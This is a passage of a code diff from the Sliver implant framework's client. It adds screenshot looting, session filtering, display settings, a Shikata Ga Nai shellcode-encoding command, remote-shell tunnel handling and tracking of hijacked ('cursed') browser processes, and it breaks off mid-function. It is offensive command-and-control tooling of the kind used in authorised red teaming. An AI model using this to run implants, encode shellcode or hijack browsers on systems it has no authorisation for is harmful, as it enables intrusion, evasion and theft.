 		})
 		con.PrintAsyncResponse(screenshot.Response)
 	} else {
-		PrintScreenshot(screenshot, hostname, ctx, con)
+		if saveLoot {
+			if len(screenshot.Data) > 0 {
+				LootScreenshot(screenshot, lootName, hostname, con)
+			} else {
+				con.PrintErrorf("Cannot loot screenshot because it contained no data")
+			}
+		}
+
+		if !saveLoot || saveTo != "" {
+			PrintScreenshot(screenshot, hostname, ctx, con)
+		}
 	}
 }

@@ -88,7 +112,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
 			return
 		}
 	} else {
-		saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
+		saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0600)
 		if err != nil {
 			con.PrintErrorf("Error creating file: %s\n", err)
 			return
@@ -103,14 +127,18 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
 	}

 	con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n)))
-	if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
-		err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), saveToFile.Name(), screenshot.Data, false)
-		if err != nil {
-			con.PrintErrorf("Failed to save output as loot: %s\n", err)
-		} else {
-			con.PrintInfof("Output saved as loot\n")
-		}
+}
+
+func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverConsoleClient) {
+	timeNow := time.Now().UTC()
+	screenshotFileName := fmt.Sprintf("screenshot_%s_%s.png", hostName, timeNow.Format("20060102150405"))
+
+	if lootName == "" {
+		lootName = screenshotFileName
 	}
+
+	lootMessage := loot.CreateLootMessage(screenshotFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, screenshot.GetData())
+	loot.SendLootMessage(lootMessage, con)
 }

 func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
@@ -111,6 +111,8 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				return
 			}
 			c2s = append(c2s, wgC2...)
+		case "https":
+			fallthrough
 		case "http":
 			httpC2, err = generate.ParseHTTPc2(beacon.ActiveC2)
 			if err != nil {
@@ -41,7 +41,7 @@ func SessionsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	for _, session := range sessions.GetSessions() {
 		if session.IsDead {
 			con.Printf("Pruning session %s ... ", session.ID)
-			err = kill.KillSession(session, true, con)
+			err = kill.KillSession(session, ctx, con)
 			if err != nil {
 				con.Printf("failed!\n")
 				con.PrintErrorf("%s\n", err)
@@ -1,69 +0,0 @@
-package sessions
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"regexp"
-	"time"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-
-	"github.com/desertbit/grumble"
-)
-
-// SessionsReconfigCmd - Reconfigure metadata about a sessions
-func SessionsReconfigCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		return
-	}
-
-	// Option to change the agent name
-	name := ctx.Flags.String("name")
-	if name != "" {
-		isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
-		if !isAlphanumeric(name) {
-			con.PrintErrorf("Name must be in alphanumeric only\n")
-			return
-		}
-	}
-
-	// Option to change the reconnect interval
-	reconnect := ctx.Flags.Int("reconnect")
-
-	// Option to change the reconnect interval
-	poll := ctx.Flags.Int("poll")
-
-	oldSession := con.ActiveTarget.GetSession()
-	session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
-		SessionID:         oldSession.ID,
-		Name:              name,
-		ReconnectInterval: int64(reconnect) * int64(time.Second),
-		PollInterval:      int64(poll) * int64(time.Second),
-	})
-
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	con.ActiveTarget.Set(session, nil)
-}
@@ -21,6 +21,7 @@ package sessions
 import (
 	"context"
 	"fmt"
+	"regexp"
 	"strings"
 	"time"

@@ -31,6 +32,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/desertbit/grumble"
 	"github.com/jedib0t/go-pretty/v6/table"
+	"golang.org/x/term"
 )

 // SessionsCmd - Display/interact with sessions
@@ -50,7 +52,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if killAll {
 		con.ActiveTarget.Background()
 		for _, session := range sessions.Sessions {
-			err := kill.KillSession(session, true, con)
+			err := kill.KillSession(session, ctx, con)
 			if err != nil {
 				con.PrintErrorf("%s\n", err)
 			}
@@ -64,12 +66,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.ActiveTarget.Background()
 		for _, session := range sessions.Sessions {
 			if session.IsDead {
-				err := kill.KillSession(session, true, con)
+				err := kill.KillSession(session, ctx, con)
 				if err != nil {
 					con.PrintErrorf("%s\n", err)
 				}
 				con.Println()
-				con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
+				con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
 			}
 		}
 		return
@@ -80,7 +82,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if activeSession != nil && session.ID == activeSession.ID {
 			con.ActiveTarget.Background()
 		}
-		err := kill.KillSession(session, true, con)
+		err := kill.KillSession(session, ctx, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 		}
@@ -96,12 +98,23 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.PrintErrorf("Invalid session name or session number: %s\n", interact)
 		}
 	} else {
+		filter := ctx.Flags.String("filter")
+		var filterRegex *regexp.Regexp
+		if ctx.Flags.String("filter-re") != "" {
+			var err error
+			filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				return
+			}
+		}
+
 		sessionsMap := map[string]*clientpb.Session{}
 		for _, session := range sessions.GetSessions() {
 			sessionsMap[session.ID] = session
 		}
 		if 0 < len(sessionsMap) {
-			PrintSessions(sessionsMap, con)
+			PrintSessions(sessionsMap, filter, filterRegex, con)
 		} else {
 			con.PrintInfof("No sessions 🙁\n")
 		}
@@ -109,20 +122,39 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 }

 // PrintSessions - Print the current sessions
-func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
+func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
+	width, _, err := term.GetSize(0)
+	if err != nil {
+		width = 999
+	}
+
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"ID",
-		"Name",
-		"Transport",
-		"Remote Address",
-		"Hostname",
-		"Username",
-		"Operating System",
-		"Last Check-in",
-		"Health",
-	})
+
+	if con.Settings.SmallTermWidth < width {
+		tw.AppendHeader(table.Row{
+			"ID",
+			"Name",
+			"Transport",
+			"Remote Address",
+			"Hostname",
+			"Username",
+			"Operating System",
+			"Last Message",
+			"Health",
+		})
+	} else {
+		tw.AppendHeader(table.Row{
+			"ID",
+			"Transport",
+			"Remote Address",
+			"Hostname",
+			"Username",
+			"Operating System",
+			"Health",
+		})
+	}
+
 	tw.SortBy([]table.SortBy{
 		{Name: "ID", Mode: table.Asc},
 	})
@@ -142,17 +174,56 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
 		if session.Burned {
 			burned = "🔥"
 		}
-		tw.AppendRow(table.Row{
-			fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
-			fmt.Sprintf(color+"%s"+console.Normal, session.Name),
-			fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
-			fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
-			fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
-			fmt.Sprintf(color+"%s"+console.Normal, session.Username),
-			fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
-			fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
-			burned + SessionHealth,
-		})
+		username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
+
+		var rowEntries []string
+		if con.Settings.SmallTermWidth < width {
+			rowEntries = []string{
+				fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Name),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
+				fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
+				fmt.Sprintf(color+"%s"+console.Normal, username),
+				fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
+				fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
+				burned + SessionHealth,
+			}
+		} else {
+			rowEntries = []string{
+				fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
+				fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
+				fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
+				fmt.Sprintf(color+"%s"+console.Normal, username),
+				fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
+				burned + SessionHealth,
+			}
+		}
+		// Build the row struct
+		row := table.Row{}
+		for _, entry := range rowEntries {
+			row = append(row, entry)
+		}
+		// Apply filters if any
+		if filter == "" && filterRegex == nil {
+			tw.AppendRow(row)
+		} else {
+			for _, rowEntry := range rowEntries {
+				if filter != "" {
+					if strings.Contains(rowEntry, filter) {
+						tw.AppendRow(row)
+						break
+					}
+				}
+				if filterRegex != nil {
+					if filterRegex.MatchString(rowEntry) {
+						tw.AppendRow(row)
+						break
+					}
+				}
+			}
+		}
 	}

 	con.Printf("%s\n", tw.Render())
@@ -19,6 +19,8 @@ package settings
 */

 import (
+	"strconv"
+
 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/console"
@@ -43,9 +45,56 @@ func SettingsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
 	tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
 	tw.AppendRow(table.Row{"Beacon Auto Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
+	tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
+	tw.AppendRow(table.Row{"Always Overflow", con.Settings.AlwaysOverflow, "Disable table pagination"})
+	tw.AppendRow(table.Row{"Vim mode", con.Settings.VimMode, "Navigation mode, vim style"})
 	con.Printf("%s\n", tw.Render())
 }

+// SettingsAlwaysOverflow - Toggle always overflow
+func SettingsAlwaysOverflow(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var err error
+	if con.Settings == nil {
+		con.Settings, err = assets.LoadSettings()
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	con.Settings.AlwaysOverflow = !con.Settings.AlwaysOverflow
+	con.PrintInfof("Always overflow = %v\n", con.Settings.AlwaysOverflow)
+}
+
+// SettingsSmallTerm - Modify small terminal width value
+func SettingsSmallTerm(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var err error
+	if con.Settings == nil {
+		con.Settings, err = assets.LoadSettings()
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	result := ""
+	prompt := &survey.Input{Message: "Set small width:"}
+	err = survey.AskOne(prompt, &result)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	newWidth, err := strconv.Atoi(result)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if newWidth < 1 {
+		con.PrintErrorf("Invalid width (too small)\n")
+		return
+	}
+	con.Settings.SmallTermWidth = newWidth
+	con.PrintInfof("Small terminal width set to %d\n", con.Settings.SmallTermWidth)
+}
+
 // SettingsTablesCmd - The client settings command
 func SettingsTablesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var err error
@@ -27,7 +27,7 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/jedib0t/go-pretty/v6/table"
 	"github.com/jedib0t/go-pretty/v6/text"
-	"golang.org/x/crypto/ssh/terminal"
+	"golang.org/x/term"
 )

 var (
@@ -181,9 +181,9 @@ func PagesOf(renderedTable string) [][]string {
 func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) {
 	renderedTable := tw.Render()
 	lineCount := strings.Count(renderedTable, "\n")
-	if !overflow {
+	if !overflow || con.Settings.AlwaysOverflow {
 		// Only paginate if the number of lines is at least 2x the terminal height
-		width, height, err := terminal.GetSize(0)
+		width, height, err := term.GetSize(0)
 		if err == nil && 2*height < lineCount {
 			if 7 < height {
 				tw.SetPageSize(height - 6)
@@ -61,6 +61,8 @@ func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 }

 func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *console.SliverConsoleClient) {
+	con.Println()
+	con.PrintInfof("Wait approximately 10 seconds after exit, and press <enter> to continue\n")
 	con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
 	session := con.ActiveTarget.GetSession()
 	if session == nil {
@@ -68,9 +70,12 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
 	}

 	// Create an RPC tunnel, then start it before binding the shell to the newly created tunnel
-	rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
+	ctxTunnel, cancelTunnel := context.WithCancel(context.Background())
+
+	rpcTunnel, err := con.Rpc.CreateTunnel(ctxTunnel, &sliverpb.Tunnel{
 		SessionID: session.ID,
 	})
+	defer cancelTunnel()
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -78,7 +83,7 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
 	log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)

 	// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
-	tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
+	tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)

 	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
 		Request:   con.ActiveTarget.Request(ctx),
@@ -90,6 +95,19 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
 		con.PrintErrorf("%s\n", err)
 		return
 	}
+	//
+	if shell.Response != nil && shell.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", shell.Response.Err)
+		_, err = con.Rpc.CloseTunnel(context.Background(), &sliverpb.Tunnel{
+			TunnelID:  tunnel.ID,
+			SessionID: session.ID,
+		})
+		if err != nil {
+			con.PrintErrorf("RPC Error: %s\n", err)
+		}
+		return
+	}
+	defer tunnel.Close()
 	log.Printf("Bound remote shell pid %d to tunnel %d", shell.Pid, shell.TunnelID)
 	con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)

@@ -0,0 +1,81 @@
+package sgn
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"encoding/hex"
+	"io/ioutil"
+	"path/filepath"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
+func ShikataGaNaiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	shellcodeFile := ctx.Args.String("shellcode")
+	rawShellcode, err := ioutil.ReadFile(shellcodeFile)
+	if err != nil {
+		con.PrintErrorf("Failed to read shellcode file: %s", err)
+		return
+	}
+
+	arch := ctx.Flags.String("arch")
+	iterations := ctx.Flags.Int("iterations")
+	rawBadChars := ctx.Flags.String("bad-chars")
+	badChars, err := hex.DecodeString(rawBadChars)
+	if err != nil {
+		con.PrintErrorf("Failed to decode bad chars: %s", err)
+		return
+	}
+
+	con.PrintInfof("Encoding shellcode with %d iterations and %d bad chars\n", iterations, len(badChars))
+
+	shellcodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
+		Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+		Architecture: arch,
+		Iterations:   uint32(iterations),
+		BadChars:     badChars,
+		Data:         rawShellcode,
+		Request:      con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" {
+		con.PrintErrorf("%s\n", shellcodeResp.Response.Err)
+		return
+	}
+
+	outputFile := ctx.Flags.String("save")
+	if outputFile == "" {
+		outputFile = filepath.Base(shellcodeFile)
+		outputFile += ".sgn"
+	}
+
+	err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0644)
+	if err != nil {
+		con.PrintErrorf("Failed to write shellcode file: %s", err)
+		return
+	}
+	con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputFile, len(shellcodeResp.Data))
+}
@@ -29,7 +29,7 @@ import (

 // SocksStopCmd - Remove an existing tunneled port forward
 func SocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	socksID := ctx.Flags.Int("id")
+	socksID := ctx.Flags.Uint64("id")
 	if socksID < 1 {
 		con.PrintErrorf("Must specify a valid socks5 id\n")
 		return
@@ -233,7 +233,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 				"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
 			},
 		}
-		exec.PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
+		exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)

 	// execute-shellcode
 	case sliverpb.MsgTaskReq:
@@ -289,9 +289,10 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 			Command: &grumble.Command{Name: "sideload"},
 			Flags: grumble.FlagMap{
 				"save": &grumble.FlagMapItem{Value: false},
+				"loot": &grumble.FlagMapItem{Value: false},
 			},
 		}
-		exec.PrintSideload(sideload, hostname, ctx, con)
+		exec.HandleSideloadResponse(sideload, "", hostname, ctx, con)

 	case sliverpb.MsgSpawnDllReq:
 		spawnDll := &sliverpb.SpawnDll{}
@@ -309,9 +310,10 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 			Command: &grumble.Command{Name: "spawndll"},
 			Flags: grumble.FlagMap{
 				"save": &grumble.FlagMapItem{Value: false},
+				"loot": &grumble.FlagMapItem{Value: false},
 			},
 		}
-		exec.PrintSpawnDll(spawnDll, hostname, ctx, con)
+		exec.HandleSpawnDLLResponse(spawnDll, "", hostname, ctx, con)

 	case sliverpb.MsgSSHCommandReq:
 		sshCommand := &sliverpb.SSHCommand{}
@@ -356,7 +358,15 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 			"modified": &grumble.FlagMapItem{Value: false},
 			"size":     &grumble.FlagMapItem{Value: false},
 		}
-		filesystem.PrintLs(ls, flags, "", con)
+		filesystem.PrintLs(ls, flags, con)
+
+	case sliverpb.MsgMvReq:
+		mv := &sliverpb.Mv{}
+		err := proto.Unmarshal(task.Response, mv)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}

 	case sliverpb.MsgMkdirReq:
 		mkdir := &sliverpb.Mkdir{}
@@ -446,6 +456,14 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		privilege.PrintGetSystem(getSystem, con)

+	case sliverpb.MsgCurrentTokenOwnerReq:
+		cto := &sliverpb.CurrentTokenOwner{}
+		err := proto.Unmarshal(task.Response, cto)
+		if err != nil {
+			con.PrintErrorf("Failed to decode task response: %s\n", err)
+			return
+		}
+
 	case sliverpb.MsgImpersonateReq:
 		impersonateReq := &sliverpb.ImpersonateReq{}
 		err := proto.Unmarshal(task.Response, impersonateReq)
@@ -26,7 +26,6 @@ import (
 	"io/ioutil"
 	"log"
 	insecureRand "math/rand"
-	"path"
 	"path/filepath"
 	"strconv"
 	"strings"
@@ -109,11 +108,12 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 		App: grumble.New(&grumble.Config{
 			Name:                  "Sliver",
 			Description:           "Sliver Client",
-			HistoryFile:           path.Join(assets.GetRootAppDir(), "history"),
+			HistoryFile:           filepath.Join(assets.GetRootAppDir(), "history"),
 			PromptColor:           color.New(),
 			HelpHeadlineColor:     color.New(),
 			HelpHeadlineUnderline: true,
 			HelpSubCommands:       true,
+			VimMode:               settings.VimMode,
 		}),
 		Rpc: rpc,
 		ActiveTarget: &ActiveTarget{
@@ -195,8 +195,8 @@ func (con *SliverConsoleClient) EventLoop() {
 				shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)

 			// Prelude Operator
-			if prelude.SessionMapper != nil {
-				err = prelude.SessionMapper.AddSession(session)
+			if prelude.ImplantMapper != nil {
+				err = prelude.ImplantMapper.AddImplant(session, nil)
 				if err != nil {
 					con.PrintEventErrorf("Could not add session to Operator: %s", err)
 				}
@@ -215,13 +215,15 @@ func (con *SliverConsoleClient) EventLoop() {
 			con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
 				shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
 			activeSession := con.ActiveTarget.GetSession()
+			core.GetTunnels().CloseForSession(session.ID)
+			core.CloseCursedProcesses(session.ID)
 			if activeSession != nil && activeSession.ID == session.ID {
 				con.ActiveTarget.Set(nil, nil)
 				con.PrintEventErrorf("Active session disconnected")
 				con.App.SetPrompt(con.GetPrompt())
 			}
-			if prelude.SessionMapper != nil {
-				err = prelude.SessionMapper.RemoveSession(session)
+			if prelude.ImplantMapper != nil {
+				err = prelude.ImplantMapper.RemoveImplant(session)
 				if err != nil {
 					con.PrintEventErrorf("Could not remove session from Operator: %s", err)
 				}
@@ -236,6 +238,16 @@ func (con *SliverConsoleClient) EventLoop() {
 			con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
 				shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)

+			// Prelude Operator
+			if prelude.ImplantMapper != nil {
+				err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
+					con.AddBeaconCallback(taskID, cb)
+				})
+				if err != nil {
+					con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
+				}
+			}
+
 		case consts.BeaconTaskResultEvent:
 			con.triggerBeaconTaskCallback(event.Data)
 		}
@@ -167,6 +167,7 @@ const (
 	ExecuteStr = "execute"

 	LsStr       = "ls"
+	MvStr       = "mv"
 	RmStr       = "rm"
 	MkdirStr    = "mkdir"
 	CdStr       = "cd"
@@ -235,6 +236,14 @@ const (
 	GetPrivsStr        = "getprivs"
 	PreludeOperatorStr = "prelude-operator"
 	ConnectStr         = "connect"
+
+	ShikataGaNai = "shikata-ga-nai"
+
+	Cursed         = "cursed"
+	CursedChrome   = "chrome"
+	CursedConsole  = "console"
+	CursedElectron = "electron"
+	CursedEdge     = "edge"
 )

 // Groups
@@ -0,0 +1,92 @@
+package core
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"net/url"
+	"sync"
+)
+
+var (
+	// SessionID -> CursedProcess
+	CursedProcesses = &sync.Map{}
+)
+
+type CursedProcess struct {
+	SessionID         string
+	PID               uint32
+	BindTCPPort       int
+	PortFwd           *Portfwd
+	Platform          string
+	ExePath           string
+	ChromeUserDataDir string
+}
+
+func (c *CursedProcess) DebugURL() *url.URL {
+	return &url.URL{
+		Scheme: "http",
+		Host:   fmt.Sprintf("localhost:%d", c.BindTCPPort),
+		Path:   "/json",
+	}
+}
+
+func CursedProcessBySessionID(sessionID string) []*CursedProcess {
+	var cursedProcesses []*CursedProcess
+	CursedProcesses.Range(func(key, value interface{}) bool {
+		cursedProcess := value.(*CursedProcess)
+		if cursedProcess.SessionID == sessionID {
+			cursedProcesses = append(cursedProcesses, cursedProcess)
+		}
+		return true
+	})
+	return cursedProcesses
+}
+
+func CloseCursedProcesses(sessionID string) {
+	CursedProcesses.Range(func(key, value interface{}) bool {
+		cursedProcess := value.(*CursedProcess)
+		if cursedProcess.SessionID == sessionID {
+			defer func() {
+				value, loaded := CursedProcesses.LoadAndDelete(key)
+				if loaded {
+					curse := value.(*CursedProcess)
+					Portfwds.Remove(curse.PortFwd.ID)
+				}
+			}()
+		}
+		return true
+	})
+}
+
+func CloseCursedProcessesByBindPort(sessionID string, bindPort int) {
+	CursedProcesses.Range(func(key, value interface{}) bool {
+		cursedProcess := value.(*CursedProcess)
+		if cursedProcess.SessionID == sessionID && cursedProcess.BindTCPPort == bindPort {
+			defer func() {
+				value, loaded := CursedProcesses.LoadAndDelete(key)
+				if loaded {
+					curse := value.(*CursedProcess)
+					Portfwds.Remove(curse.PortFwd.ID)
+				}
+			}()
+		}
+		return true
+	})
+}
@@ -1,7 +1,26 @@
 package core

+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
+	"errors"
 	"io"
 	"log"
 	"net"
@@ -116,7 +135,7 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
 	}
 	tunnel, err := p.dialImplant(ctx)
 	if cancel != nil {
-		cancel()
+		defer cancel()
 	}
 	if err != nil {
 		return
@@ -124,8 +143,8 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {

 	// Cleanup
 	defer func() {
-		go conn.Close()
-		Tunnels.Close(tunnel.ID)
+		conn.Close()
+		GetTunnels().Close(tunnel.ID)
 	}()

 	errs := make(chan error, 1)
@@ -172,7 +191,7 @@ func (p *ChannelProxy) Host() string {
 	return host
 }

-func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
+func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {

 	log.Printf("[tcpproxy] Dialing implant to create tunnel ...")

@@ -184,8 +203,9 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
 		log.Printf("[tcpproxy] Failed to dial implant %s", err)
 		return nil, err
 	}
+
 	log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
-	tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
+	tunnel := GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)

 	log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
 	portfwdResp, err := p.Rpc.Portfwd(ctx, &sliverpb.PortfwdReq{
@@ -200,6 +220,14 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
 	if err != nil {
 		return nil, err
 	}
+	// Close tunnel in case of error on the implant side
+	if portfwdResp.Response != nil && portfwdResp.Response.Err != "" {
+		p.Rpc.CloseTunnel(ctx, &sliverpb.Tunnel{
+			TunnelID:  tunnel.ID,
+			SessionID: p.Session.ID,
+		})
